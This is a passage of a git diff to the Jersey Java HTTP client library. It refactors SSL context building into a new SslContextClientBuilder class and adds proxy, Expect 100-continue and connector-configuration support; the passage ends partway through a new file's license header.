org.glassfish.jersey.http.HttpHeaders; import org.glassfish.jersey.internal.MapPropertiesDelegate; import org.glassfish.jersey.internal.PropertiesDelegate; import org.glassfish.jersey.internal.guava.Preconditions; diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientRuntime.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientRuntime.java index d52fe3e05db..26ad221b412 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/ClientRuntime.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientRuntime.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -81,6 +81,7 @@ class ClientRuntime implements JerseyClient.ShutdownHook, ClientExecutor { private final InvocationInterceptorStages.PreInvocationInterceptorStage preInvocationInterceptorStage; private final InvocationInterceptorStages.PostInvocationInterceptorStage postInvocationInterceptorStage; + private final InvocationBuilderListenerStage invocationBuilderListenerStage; /** * Create new client request processing runtime. @@ -94,6 +95,8 @@ public ClientRuntime(final ClientConfig config, final Connector connector, final Provider> clientRequest = () -> injectionManager.getInstance(new GenericType>() {}.getType()); + invocationBuilderListenerStage = new InvocationBuilderListenerStage(injectionManager); + RequestProcessingInitializationStage requestProcessingInitializationStage = new RequestProcessingInitializationStage(clientRequest, bootstrapBag.getMessageBodyWorkers(), injectionManager); @@ -399,4 +402,8 @@ public Connector getConnector() { InjectionManager getInjectionManager() { return injectionManager; } + + InvocationBuilderListenerStage getInvocationBuilderListenerStage() { + return invocationBuilderListenerStage; + } } diff --git a/core-client/src/main/java/org/glassfish/jersey/client/HttpUrlConnectorProvider.java b/core-client/src/main/java/org/glassfish/jersey/client/HttpUrlConnectorProvider.java index 5a07bc120a6..e0446d2f0b2 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/HttpUrlConnectorProvider.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/HttpUrlConnectorProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -18,6 +18,7 @@ import java.io.IOException; import java.net.HttpURLConnection; +import java.net.Proxy; import java.net.URL; import java.util.Map; import java.util.logging.Logger; @@ -267,6 +268,25 @@ public interface ConnectionFactory { * @throws java.io.IOException in case the connection cannot be provided. */ public HttpURLConnection getConnection(URL url) throws IOException; + + /** + * Get a {@link java.net.HttpURLConnection} for a given URL. + *

    + * Implementation of the method MUST be thread-safe and MUST ensure that + * a dedicated {@link java.net.HttpURLConnection} instance is returned for concurrent + * requests. + *

    + * + * @param url the endpoint URL. + * @param proxy the configured proxy or null. + * @return the {@link java.net.HttpURLConnection}. + * @throws java.io.IOException in case the connection cannot be provided. + */ + default HttpURLConnection getConnection(URL url, Proxy proxy) throws IOException { + synchronized (this){ + return (proxy == null) ? getConnection(url) : (HttpURLConnection) url.openConnection(proxy); + } + } } private static class DefaultConnectionFactory implements ConnectionFactory { diff --git a/core-client/src/main/java/org/glassfish/jersey/client/JerseyClient.java b/core-client/src/main/java/org/glassfish/jersey/client/JerseyClient.java index 755fb5ac589..3a393751775 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/JerseyClient.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/JerseyClient.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -20,13 +20,13 @@ import java.lang.ref.ReferenceQueue; import java.lang.ref.WeakReference; import java.net.URI; -import java.util.Iterator; import java.util.Map; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.LinkedBlockingDeque; import java.util.concurrent.ScheduledExecutorService; import java.util.concurrent.atomic.AtomicBoolean; +import java.util.function.Supplier; import java.util.logging.Level; import java.util.logging.Logger; @@ -40,9 +40,7 @@ import org.glassfish.jersey.SslConfigurator; import org.glassfish.jersey.client.internal.LocalizationMessages; import org.glassfish.jersey.client.spi.DefaultSslContextProvider; -import org.glassfish.jersey.internal.ServiceFinder; import org.glassfish.jersey.internal.util.collection.UnsafeValue; -import org.glassfish.jersey.internal.util.collection.Values; import static org.glassfish.jersey.internal.guava.Preconditions.checkNotNull; import static org.glassfish.jersey.internal.guava.Preconditions.checkState; @@ -67,7 +65,7 @@ public SSLContext getDefaultSslContext() { private final boolean isDefaultSslContext; private final ClientConfig config; private final HostnameVerifier hostnameVerifier; - private final UnsafeValue sslContext; + private final Supplier sslContext; private final LinkedBlockingDeque> shutdownHooks = new LinkedBlockingDeque>(); private final ReferenceQueue shReferenceQueue = new ReferenceQueue(); @@ -86,7 +84,7 @@ interface ShutdownHook { * Create a new Jersey client instance using a default configuration. */ protected JerseyClient() { - this(null, (UnsafeValue) null, null, null); + this(null, new SslContextClientBuilder(), null, null); } /** @@ -115,7 +113,9 @@ protected JerseyClient(final Configuration config, final SSLContext sslContext, final HostnameVerifier verifier, final DefaultSslContextProvider defaultSslContextProvider) { - this(config, sslContext == null ? null : Values.unsafe(sslContext), verifier, + this(config, + sslContext == null ? new SslContextClientBuilder() : new SslContextClientBuilder().sslContext(sslContext), + verifier, defaultSslContextProvider); } @@ -145,32 +145,32 @@ protected JerseyClient(final Configuration config, final UnsafeValue sslContextProvider, final HostnameVerifier verifier, final DefaultSslContextProvider defaultSslContextProvider) { - this.config = config == null ? new ClientConfig(this) : new ClientConfig(this, config); - - if (sslContextProvider == null) { - this.isDefaultSslContext = true; - - if (defaultSslContextProvider != null) { - this.sslContext = createLazySslContext(defaultSslContextProvider); - } else { - final DefaultSslContextProvider lookedUpSslContextProvider; - - final Iterator iterator = - ServiceFinder.find(DefaultSslContextProvider.class).iterator(); - - if (iterator.hasNext()) { - lookedUpSslContextProvider = iterator.next(); - } else { - lookedUpSslContextProvider = DEFAULT_SSL_CONTEXT_PROVIDER; - } + this(config, + sslContextProvider == null + ? new SslContextClientBuilder() + : new SslContextClientBuilder().sslContext(sslContextProvider.get()), + verifier, + defaultSslContextProvider + ); + } - this.sslContext = createLazySslContext(lookedUpSslContextProvider); - } - } else { - this.isDefaultSslContext = false; - this.sslContext = Values.lazy(sslContextProvider); + /** + * Create a new Jersey client instance. + * + * @param config jersey client configuration. + * @param sslContextClientBuilder jersey client SSL context builder. The builder is expected to + * return non-default value. + * @param verifier jersey client host name verifier. + * @param defaultSslContextProvider default SSL context provider. + */ + JerseyClient(final Configuration config, final SslContextClientBuilder sslContextClientBuilder, + final HostnameVerifier verifier, final DefaultSslContextProvider defaultSslContextProvider) { + if (defaultSslContextProvider != null) { + sslContextClientBuilder.defaultSslContextProvider(defaultSslContextProvider); } - + this.config = config == null ? new ClientConfig(this) : new ClientConfig(this, config); + this.isDefaultSslContext = sslContextClientBuilder.isDefaultSslContext(); + this.sslContext = sslContextClientBuilder; this.hostnameVerifier = verifier; } @@ -195,15 +195,6 @@ private void release() { } } - private UnsafeValue createLazySslContext(final DefaultSslContextProvider provider) { - return Values.lazy(new UnsafeValue() { - @Override - public SSLContext get() { - return provider.getDefaultSslContext(); - } - }); - } - /** * Register a new client shutdown hook. * diff --git a/core-client/src/main/java/org/glassfish/jersey/client/JerseyClientBuilder.java b/core-client/src/main/java/org/glassfish/jersey/client/JerseyClientBuilder.java index 69b626582b3..41dbde9950d 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/JerseyClientBuilder.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/JerseyClientBuilder.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,6 +16,7 @@ package org.glassfish.jersey.client; +import java.security.AccessController; import java.security.KeyStore; import java.util.Collections; import java.util.LinkedList; @@ -31,12 +32,12 @@ import javax.net.ssl.HostnameVerifier; import javax.net.ssl.SSLContext; -import org.glassfish.jersey.SslConfigurator; -import org.glassfish.jersey.client.internal.LocalizationMessages; +import org.glassfish.jersey.client.innate.inject.NonInjectionManager; import org.glassfish.jersey.client.spi.ClientBuilderListener; +import org.glassfish.jersey.client.spi.ConnectorProvider; import org.glassfish.jersey.internal.ServiceFinder; -import org.glassfish.jersey.internal.util.collection.UnsafeValue; -import org.glassfish.jersey.internal.util.collection.Values; +import org.glassfish.jersey.internal.config.ExternalPropertiesConfigurationFactory; +import org.glassfish.jersey.internal.util.ReflectionHelper; import org.glassfish.jersey.model.internal.RankedComparator; import org.glassfish.jersey.model.internal.RankedProvider; @@ -49,8 +50,7 @@ public class JerseyClientBuilder extends ClientBuilder { private final ClientConfig config; private HostnameVerifier hostnameVerifier; - private SslConfigurator sslConfigurator; - private SSLContext sslContext; + private final SslContextClientBuilder sslContextClientBuilder = new SslContextClientBuilder(); private static final List CLIENT_BUILDER_LISTENERS; @@ -108,41 +108,19 @@ private static void init(ClientBuilder builder) { @Override public JerseyClientBuilder sslContext(SSLContext sslContext) { - if (sslContext == null) { - throw new NullPointerException(LocalizationMessages.NULL_SSL_CONTEXT()); - } - this.sslContext = sslContext; - sslConfigurator = null; + sslContextClientBuilder.sslContext(sslContext); return this; } @Override public JerseyClientBuilder keyStore(KeyStore keyStore, char[] password) { - if (keyStore == null) { - throw new NullPointerException(LocalizationMessages.NULL_KEYSTORE()); - } - if (password == null) { - throw new NullPointerException(LocalizationMessages.NULL_KEYSTORE_PASWORD()); - } - if (sslConfigurator == null) { - sslConfigurator = SslConfigurator.newInstance(); - } - sslConfigurator.keyStore(keyStore); - sslConfigurator.keyPassword(password); - sslContext = null; + sslContextClientBuilder.keyStore(keyStore, password); return this; } @Override public JerseyClientBuilder trustStore(KeyStore trustStore) { - if (trustStore == null) { - throw new NullPointerException(LocalizationMessages.NULL_TRUSTSTORE()); - } - if (sslConfigurator == null) { - sslConfigurator = SslConfigurator.newInstance(); - } - sslConfigurator.trustStore(trustStore); - sslContext = null; + sslContextClientBuilder.trustStore(trustStore); return this; } @@ -186,21 +164,23 @@ public ClientBuilder readTimeout(long timeout, TimeUnit unit) { @Override public JerseyClient build() { - if (sslContext != null) { - return new JerseyClient(config, sslContext, hostnameVerifier, null); - } else if (sslConfigurator != null) { - final SslConfigurator sslConfiguratorCopy = sslConfigurator.copy(); - return new JerseyClient( - config, - Values.lazy(new UnsafeValue() { - @Override - public SSLContext get() { - return sslConfiguratorCopy.createSSLContext(); - } - }), - hostnameVerifier); - } else { - return new JerseyClient(config, (UnsafeValue) null, hostnameVerifier); + ExternalPropertiesConfigurationFactory.configure(this.config); + setConnectorFromProperties(); + + return new JerseyClient(config, sslContextClientBuilder, hostnameVerifier, null); + } + + private void setConnectorFromProperties() { + final Object connectorClass = config.getProperty(ClientProperties.CONNECTOR_PROVIDER); + if (connectorClass != null) { + if (String.class.isInstance(connectorClass)) { + Class clazz + = AccessController.doPrivileged(ReflectionHelper.classForNamePA((String) connectorClass)); + final ConnectorProvider connectorProvider = new NonInjectionManager().justCreate(clazz); + config.connectorProvider(connectorProvider); + } else { + throw new IllegalArgumentException(); + } } } diff --git a/core-client/src/main/java/org/glassfish/jersey/client/JerseyWebTarget.java b/core-client/src/main/java/org/glassfish/jersey/client/JerseyWebTarget.java index 0b1e48b7789..2f1100fe4ac 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/JerseyWebTarget.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/JerseyWebTarget.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -368,7 +368,7 @@ public String toString() { } private static JerseyInvocation.Builder onBuilder(JerseyInvocation.Builder builder) { - new InvocationBuilderListenerStage(builder.request().getInjectionManager()).invokeListener(builder); + builder.request().getClientRuntime().getInvocationBuilderListenerStage().invokeListener(builder); return builder; } } diff --git a/core-client/src/main/java/org/glassfish/jersey/client/SslContextClientBuilder.java b/core-client/src/main/java/org/glassfish/jersey/client/SslContextClientBuilder.java new file mode 100644 index 00000000000..cea0439cd3a --- /dev/null +++ b/core-client/src/main/java/org/glassfish/jersey/client/SslContextClientBuilder.java @@ -0,0 +1,258 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.client; + +import org.glassfish.jersey.SslConfigurator; +import org.glassfish.jersey.client.internal.LocalizationMessages; +import org.glassfish.jersey.client.spi.DefaultSslContextProvider; +import org.glassfish.jersey.internal.ServiceFinder; +import org.glassfish.jersey.internal.util.collection.Value; +import org.glassfish.jersey.internal.util.collection.Values; + +import javax.net.ssl.SSLContext; +import jakarta.ws.rs.client.WebTarget; +import java.security.KeyStore; +import java.util.Iterator; +import java.util.function.Supplier; + +/** + *

    The class that builds {@link SSLContext} for the client from keystore, truststore. Provides a cached + * {@link Supplier} from the built or user provided {@link SSLContext}.

    + * + *

    The class is used internally by {@link JerseyClientBuilder}, or it can be used by connectors supporting setting + * the {@link SSLContext} per request.

    + * + * @see jakarta.ws.rs.client.ClientBuilder#keyStore(KeyStore, char[]) + * @see jakarta.ws.rs.client.ClientBuilder#keyStore(KeyStore, String) + * @see jakarta.ws.rs.client.ClientBuilder#sslContext(SSLContext) + */ +public final class SslContextClientBuilder implements Supplier { + private SslConfigurator sslConfigurator = null; + private SSLContext sslContext = null; + private DefaultSslContextProvider defaultSslContextProvider = null; + private final Supplier suppliedValue = Values.lazy((Value) () -> supply()); + + private static final DefaultSslContextProvider DEFAULT_SSL_CONTEXT_PROVIDER = new DefaultSslContextProvider() { + @Override + public SSLContext getDefaultSslContext() { + return SslConfigurator.getDefaultContext(); + } + }; + + /** + * Set the SSL context that will be used when creating secured transport connections + * to server endpoints from {@link WebTarget web targets} created by the client + * instance that is using this SSL context. The SSL context is expected to have all the + * security infrastructure initialized, including the key and trust managers. + *

    + * Setting a SSL context instance resets any {@link #keyStore(java.security.KeyStore, char[]) + * key store} or {@link #trustStore(java.security.KeyStore) trust store} values previously + * specified. + *

    + * + * @param sslContext secure socket protocol implementation which acts as a factory + * for secure socket factories or {@link javax.net.ssl.SSLEngine + * SSL engines}. Must not be {@code null}. + * @return an updated ssl client context builder instance. + * @throws NullPointerException in case the {@code sslContext} parameter is {@code null}. + * @see #keyStore(java.security.KeyStore, char[]) + * @see #keyStore(java.security.KeyStore, String) + * @see #trustStore + */ + public SslContextClientBuilder sslContext(SSLContext sslContext) { + if (sslContext == null) { + throw new NullPointerException(LocalizationMessages.NULL_SSL_CONTEXT()); + } + this.sslContext = sslContext; + sslConfigurator = null; + return this; + } + + /** + * Set the client-side key store. Key store contains client's private keys, and the certificates with their + * corresponding public keys. + *

    + * Setting a key store instance resets any {@link #sslContext(javax.net.ssl.SSLContext) SSL context instance} + * value previously specified. + *

    + *

    + * Note that for improved security of working with password data and avoid storing passwords in Java string + * objects, the {@link #keyStore(java.security.KeyStore, char[])} version of the method can be utilized. + * Also note that a custom key store is only required if you want to enable a custom setup of a 2-way SSL + * connections (client certificate authentication). + *

    + * + * @param keyStore client-side key store. Must not be {@code null}. + * @param password client key password. Must not be {@code null}. + * @return an updated ssl client context builder instance. + * @throws NullPointerException in case any of the supplied parameters is {@code null}. + * @see #sslContext + * @see #keyStore(java.security.KeyStore, char[]) + * @see #trustStore + */ + public SslContextClientBuilder keyStore(KeyStore keyStore, char[] password) { + if (keyStore == null) { + throw new NullPointerException(LocalizationMessages.NULL_KEYSTORE()); + } + if (password == null) { + throw new NullPointerException(LocalizationMessages.NULL_KEYSTORE_PASWORD()); + } + if (sslConfigurator == null) { + sslConfigurator = SslConfigurator.newInstance(); + } + sslConfigurator.keyStore(keyStore); + sslConfigurator.keyPassword(password); + sslContext = null; + return this; + } + + /** + * Set the client-side trust store. Trust store is expected to contain certificates from other parties + * the client is you expect to communicate with, or from Certificate Authorities that are trusted to + * identify other parties. + *

    + * Setting a trust store instance resets any {@link #sslContext(javax.net.ssl.SSLContext) SSL context instance} + * value previously specified. + *

    + *

    + * In case a custom trust store or custom SSL context is not specified, the trust management will be + * configured to use the default Java runtime settings. + *

    + * + * @param trustStore client-side trust store. Must not be {@code null}. + * @return an updated ssl client context builder instance. + * @throws NullPointerException in case the supplied trust store parameter is {@code null}. + * @see #sslContext + * @see #keyStore(java.security.KeyStore, char[]) + * @see #keyStore(java.security.KeyStore, String) + */ + public SslContextClientBuilder trustStore(KeyStore trustStore) { + if (trustStore == null) { + throw new NullPointerException(LocalizationMessages.NULL_TRUSTSTORE()); + } + if (sslConfigurator == null) { + sslConfigurator = SslConfigurator.newInstance(); + } + sslConfigurator.trustStore(trustStore); + sslContext = null; + return this; + } + + /** + * Set the client-side key store. Key store contains client's private keys, and the certificates with their + * corresponding public keys. + *

    + * Setting a key store instance resets any {@link #sslContext(javax.net.ssl.SSLContext) SSL context instance} + * value previously specified. + *

    + *

    + * Note that for improved security of working with password data and avoid storing passwords in Java string + * objects, the {@link #keyStore(java.security.KeyStore, char[])} version of the method can be utilized. + * Also note that a custom key store is only required if you want to enable a custom setup of a 2-way SSL + * connections (client certificate authentication). + *

    + * + * @param keyStore client-side key store. Must not be {@code null}. + * @param password client key password. Must not be {@code null}. + * @return an updated ssl client context builder instance. + * @throws NullPointerException in case any of the supplied parameters is {@code null}. + * @see #sslContext + * @see #keyStore(java.security.KeyStore, char[]) + * @see #trustStore + */ + public SslContextClientBuilder keyStore(final KeyStore keyStore, final String password) { + return keyStore(keyStore, password.toCharArray()); + } + + /** + * Get information about used {@link SSLContext}. + * + * @return {@code true} when used {@code SSLContext} is acquired from {@link SslConfigurator#getDefaultContext()}, + * {@code false} otherwise. + */ + public boolean isDefaultSslContext() { + return sslContext == null && sslConfigurator == null; + } + + /** + * Supply SSLContext from this builder. + * @return {@link SSLContext} + */ + @Override + public SSLContext get() { + return suppliedValue.get(); + } + + /** + * Build SSLContext from the Builder. + * @return {@link SSLContext} + */ + public SSLContext build() { + return suppliedValue.get(); + } + + /** + * Set the default SSL context provider. + * @param defaultSslContextProvider the default SSL context provider. + * @return an updated ssl client context builder instance. + */ + protected SslContextClientBuilder defaultSslContextProvider(DefaultSslContextProvider defaultSslContextProvider) { + this.defaultSslContextProvider = defaultSslContextProvider; + return this; + } + + /** + * Supply the {@link SSLContext} to the supplier. Can throw illegal state exception when there is a problem with creating or + * obtaining default SSL context. + * @return SSLContext + */ + private SSLContext supply() { + final SSLContext providedValue; + if (sslContext != null) { + providedValue = sslContext; + } else if (sslConfigurator != null) { + final SslConfigurator sslConfiguratorCopy = sslConfigurator.copy(); + providedValue = sslConfiguratorCopy.createSSLContext(); + } else { + providedValue = null; + } + + final SSLContext returnValue; + if (providedValue == null) { + if (defaultSslContextProvider != null) { + returnValue = defaultSslContextProvider.getDefaultSslContext(); + } else { + final DefaultSslContextProvider lookedUpSslContextProvider; + + final Iterator iterator = + ServiceFinder.find(DefaultSslContextProvider.class).iterator(); + + if (iterator.hasNext()) { + lookedUpSslContextProvider = iterator.next(); + } else { + lookedUpSslContextProvider = DEFAULT_SSL_CONTEXT_PROVIDER; + } + + returnValue = lookedUpSslContextProvider.getDefaultSslContext(); + } + } else { + returnValue = providedValue; + } + + return returnValue; + } +} diff --git a/core-client/src/main/java/org/glassfish/jersey/client/filter/EncodingFilter.java b/core-client/src/main/java/org/glassfish/jersey/client/filter/EncodingFilter.java index 7b99abd7d41..99702038806 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/filter/EncodingFilter.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/filter/EncodingFilter.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -25,6 +25,7 @@ import jakarta.ws.rs.client.ClientRequestContext; import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.core.Context; import jakarta.ws.rs.core.HttpHeaders; import jakarta.inject.Inject; @@ -49,10 +50,15 @@ * @author Martin Matula */ public final class EncodingFilter implements ClientRequestFilter { - @Inject - private InjectionManager injectionManager; + + private final InjectionManager injectionManager; private volatile List supportedEncodings = null; + @Inject + public EncodingFilter(@Context InjectionManager injectionManager) { + this.injectionManager = injectionManager; + } + @Override public void filter(ClientRequestContext request) throws IOException { if (getSupportedEncodings().isEmpty()) { diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/ClientProxy.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/ClientProxy.java new file mode 100644 index 00000000000..68ab324c20a --- /dev/null +++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/ClientProxy.java @@ -0,0 +1,212 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.client.innate; + +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.ClientRequest; +import org.glassfish.jersey.client.internal.LocalizationMessages; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.core.Configuration; +import jakarta.ws.rs.core.MultivaluedMap; +import java.net.InetSocketAddress; +import java.net.Proxy; +import java.net.ProxySelector; +import java.net.SocketAddress; +import java.net.URI; +import java.net.URISyntaxException; +import java.util.Arrays; +import java.util.Base64; +import java.util.Locale; +import java.util.Optional; + +/** + * Default client Proxy information internal object. It is used for parsing the proxy information in all connectors. + */ +public abstract class ClientProxy { + + private ClientProxy() { + // do not instantiate + }; + + public static Optional proxyFromRequest(ClientRequest request) { + return getProxy(request); + } + + public static Optional proxyFromProperties(URI requestUri) { + return getSystemPropertiesProxy(requestUri); + } + + public static Optional proxyFromConfiguration(Configuration configuration) { + return getProxy(configuration); + } + + public static ClientProxy proxy(Proxy proxy) { + return new ProxyClientProxy(proxy); + } + + public static void setBasicAuthorizationHeader(MultivaluedMap headers, ClientProxy proxy) { + if (proxy.userName() != null) { + StringBuilder auth = new StringBuilder().append(proxy.userName()).append(":"); + if (proxy.password() != null) { + auth.append(proxy.password()); + } + String encoded = "Basic " + Base64.getEncoder().encodeToString(auth.toString().getBytes()); + headers.put("Proxy-Authorization", Arrays.asList(encoded)); + } + } + + protected String userName; + protected String password; + + private static ClientProxy toProxy(Object proxy) { + if (proxy instanceof String) { + return new UriClientProxy(URI.create((String) proxy)); + } else if (proxy instanceof URI) { + return new UriClientProxy((URI) proxy); + } else if (Proxy.class.isInstance(proxy)) { + Proxy netProxy = Proxy.class.cast(proxy); + if (Proxy.Type.HTTP.equals(netProxy.type())) { + return new ProxyClientProxy(Proxy.class.cast(proxy)); + } else { + return null; + } + } else { + throw new ProcessingException(LocalizationMessages.WRONG_PROXY_URI_TYPE(ClientProperties.PROXY_URI)); + } + } + + public abstract Proxy proxy(); + + public abstract URI uri(); + + public abstract Proxy.Type type(); + + public String password() { + return password; + } + + public String userName() { + return userName; + }; + + private static Optional getProxy(ClientRequest request) { + Object proxyUri = request.resolveProperty(ClientProperties.PROXY_URI, Object.class); + if (proxyUri != null) { + ClientProxy proxy = toProxy(proxyUri); + if (proxy != null) { + proxy.userName = request.resolveProperty(ClientProperties.PROXY_USERNAME, String.class); + proxy.password = request.resolveProperty(ClientProperties.PROXY_PASSWORD, String.class); + return Optional.of(proxy); + } else { + return Optional.empty(); + } + } + return Optional.empty(); + } + + private static Optional getProxy(Configuration config) { + Object proxyUri = config.getProperties().get(ClientProperties.PROXY_URI); + if (proxyUri != null) { + ClientProxy proxy = toProxy(proxyUri); + if (proxy != null) { + proxy.userName = ClientProperties.getValue(config.getProperties(), ClientProperties.PROXY_USERNAME, String.class); + proxy.password = ClientProperties.getValue(config.getProperties(), ClientProperties.PROXY_PASSWORD, String.class); + return Optional.of(proxy); + } else { + return Optional.empty(); + } + } + return Optional.empty(); + } + + private static Optional getSystemPropertiesProxy(URI requestUri) { + ProxySelector sel = ProxySelector.getDefault(); + for (Proxy proxy: sel.select(requestUri)) { + if (Proxy.Type.HTTP.equals(proxy.type())) { + return Optional.of(new ProxyClientProxy(proxy)); + } + } + return Optional.empty(); + } + + private static final class ProxyClientProxy extends ClientProxy { + + private final Proxy proxy; + + private ProxyClientProxy(Proxy proxy) { + this.proxy = proxy; + } + + @Override + public Proxy proxy() { + return proxy; + } + + @Override + public Proxy.Type type() { + return proxy.type(); + } + + @Override + public URI uri() { + URI uri = null; + if (Proxy.Type.HTTP.equals(proxy.type())) { + SocketAddress proxyAddress = proxy.address(); + if (InetSocketAddress.class.isInstance(proxy.address())) { + InetSocketAddress proxyAddr = (InetSocketAddress) proxyAddress; + try { + if (proxyAddr.isUnresolved() + && proxyAddr.getHostName() != null + && proxyAddr.getHostName().toLowerCase(Locale.ROOT).startsWith("http://")) { + String hostString = proxyAddr.getHostString().substring(7); + uri = new URI("http", null, hostString, proxyAddr.getPort(), null, null, null); + } else { + uri = new URI("http", null, proxyAddr.getHostString(), proxyAddr.getPort(), null, null, null); + } + } catch (URISyntaxException e) { + throw new ProcessingException(e); + } + } + } + return uri; + } + } + + private static final class UriClientProxy extends ClientProxy { + private final URI uri; + + private UriClientProxy(URI uri) { + this.uri = uri; + } + + @Override + public Proxy proxy() { + return new Proxy(type(), new InetSocketAddress(uri.getHost(), uri.getPort())); + } + + @Override + public Proxy.Type type() { + return Proxy.Type.HTTP; + } + + @Override + public URI uri() { + return uri; + } + } +} + diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/Expect100ContinueUsage.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/Expect100ContinueUsage.java new file mode 100644 index 00000000000..7c45854c802 --- /dev/null +++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/Expect100ContinueUsage.java @@ -0,0 +1,60 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.client.innate; + +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.ClientRequest; +import org.glassfish.jersey.client.RequestEntityProcessing; + +/** + * Utility class to check whether it's possible to send the Expect header within request. + */ +public final class Expect100ContinueUsage { + + private Expect100ContinueUsage() { + //do not instantiate + } + + /** + * Checks if usage of the Expect header with 100-Continue value is allowed + * + * @param request client's request + * @param requestMethod method of the request (GET, POST, PUT etc). + * @return true if the Expect header is allowed. + */ + public static boolean isAllowed(ClientRequest request, String requestMethod) { + + long requestLength = request.getLengthLong(); + + final RequestEntityProcessing entityProcessing = request.resolveProperty( + ClientProperties.REQUEST_ENTITY_PROCESSING, RequestEntityProcessing.class); + + final Boolean expectContinueActivated = request.resolveProperty( + ClientProperties.EXPECT_100_CONTINUE, Boolean.class); + final Long expectContinueSizeThreshold = request.resolveProperty( + ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, + ClientProperties.DEFAULT_EXPECT_100_CONTINUE_THRESHOLD_SIZE); + + final boolean allowStreaming = requestLength > expectContinueSizeThreshold + || entityProcessing == RequestEntityProcessing.CHUNKED; + + return !(!Boolean.TRUE.equals(expectContinueActivated) + || !("POST".equals(requestMethod) || "PUT".equals(requestMethod)) + || !allowStreaming + ); + } +} diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java new file mode 100644 index 00000000000..cb32a5c62cf --- /dev/null +++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java @@ -0,0 +1,232 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public 